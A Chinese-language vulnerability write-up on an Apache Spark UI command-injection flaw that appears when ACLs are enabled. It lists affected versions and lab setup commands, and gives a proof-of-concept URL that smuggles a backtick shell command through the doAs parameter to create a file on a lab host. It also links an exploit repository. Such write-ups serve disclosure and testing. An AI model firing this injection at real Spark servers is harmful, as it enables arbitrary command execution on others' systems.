漏洞描述

Apache Spark UI 提供了通过配置选项 spark.acls.enable 来启用 ACLs 的功能,通过身份验证过滤器(authentication filter),检查用户是否具有查看或修改应用程序的权限。如果启用了 ACLs,HttpSecurityFilter中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将基于其输入构建 Unix shell 命令,并执行该命令。这将导致执行任意 shell 命令

概述:启用 ACLs 功能的话,会导致任意代码执行漏洞

影响版本

versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.

环境搭建

测试环境:kali 2022
image.png

安装 apache spark

  1. wget https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz
  2. tar -zxzf spark-3.2.1-bin-hadoop2.7.tgz
  3. cd spark-3.2.1-bin-hadoop2.7/bin
  4. ./spark-shell --conf spark.acls.enable=true

访问 http://192.168.3.128:4040/
image.png

POC

  1. # 在 /tmp 下创建文件 sparktest.txt
  2. http://192.168.3.128:4040/?doAs=`touch /tmp/sparktest.txt`

image.png
image.png
https://github.com/HuskyHacks/cve-2022-33891
image.png

漏洞分析

漏洞利用链